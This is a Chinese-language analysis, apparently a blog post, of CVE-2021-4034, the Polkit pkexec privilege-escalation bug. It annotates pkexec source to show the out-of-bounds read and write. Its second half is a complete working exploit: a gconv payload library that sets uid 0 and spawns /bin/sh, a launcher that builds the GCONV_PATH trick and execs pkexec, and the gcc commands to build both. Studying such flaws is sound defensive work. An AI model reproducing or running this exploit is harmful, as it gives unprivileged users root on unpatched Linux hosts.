CVE-2021-4034 Linux Polkit 权限提升漏洞分析

CVE-2021-4034 Linux Polkit 权限提升漏洞分析
https://cn.4xpl0r3r.com/漏洞分析/CVE-2021-4034-Linux-Polkit-权限提升漏洞分析/

for (n = 1; n < (guint) argc; n++) // 注意这一句，如果我们传递了参数后，n应该在结束循环时与argc相等，如果没有参数，argc就为0，但是由于此处n的初始值为1，因此如果没有参数被传递，1就变成了argc(0)+1，如果后续继续使用n的话，就有可能出现问题
{
  if (strcmp (argv[n], "--help") == 0)
    {
      opt_show_help = TRUE;
    }
  else if (strcmp (argv[n], "--version") == 0)
    {
      opt_show_version = TRUE;
    }
  else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
    {
      n++;
      if (n >= (guint) argc)
        {
          usage (argc, argv);
          goto out;
        }

      if (opt_user != NULL)
        {
          g_printerr ("--user specified twice\n");
          goto out;
        }
      opt_user = g_strdup (argv[n]);
    }
  else if (strcmp (argv[n], "--disable-internal-agent") == 0)
    {
      opt_disable_internal_agent = TRUE;
    }
  else
    {
      break;
    }
}

path = g_strdup (argv[n]); // 分析代码，我们可以发现n在此时被使用，g_strdup复制目标字符串，但是如果我们不传递任何参数，g_strdup用于拷贝字符串，如果没有参数传递，这里就产生内存越界读取了
if (path == NULL)
{
  GPtrArray *shell_argv;

  path = g_strdup (pwstruct.pw_shell);
  if (!path)
{
      g_printerr ("No shell configured or error retrieving pw_shell\n");
      goto out;
}
  /* If you change this, be sure to change the if (!command_line)
case below too */
  command_line = g_strdup (path);
  shell_argv = g_ptr_array_new ();
  g_ptr_array_add (shell_argv, path);
  g_ptr_array_add (shell_argv, NULL);
  exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
}
if (path[0] != '/') // 如果路径不是绝对路径
{
  /* g_find_program_in_path() is not suspectible to attacks via the environment */
  s = g_find_program_in_path (path);
  if (s == NULL)
    {
      g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
      goto out;
    }
  g_free (path);
  argv[n] = path = s; // 触发越界内存写入
}

|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
     V         V                V           V         V                V
 "program" "-option"           NULL      "value" "PATH=name"          NULL

if (clearenv () != 0)
  {
    g_printerr ("Error clearing environment: %s\n", g_strerror (errno));
    goto out;
  }

#include <stdlib.h>
#include <unistd.h>
void gconv() {}
void gconv_init() {
  setuid(0); seteuid(0); setgid(0); setegid(0);
  system("PATH=/bin:/usr/bin:/sbin /bin/sh");
}

gcc -shared -fPIC payload.c -o payload.so

#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>

int main() {
    char* _argv[]={ NULL };
    char* _envp[]={
        "x",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=..",
        NULL
    };
    mkdir("GCONV_PATH=.", 0777);
    mkdir("x", 0777);
    FILE *fp = fopen("x/gconv-modules", "wb");
    fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
    fclose(fp);
    execve("/usr/bin/pkexec", _argv, _envp);
}

gcc exploit.c -o exp.out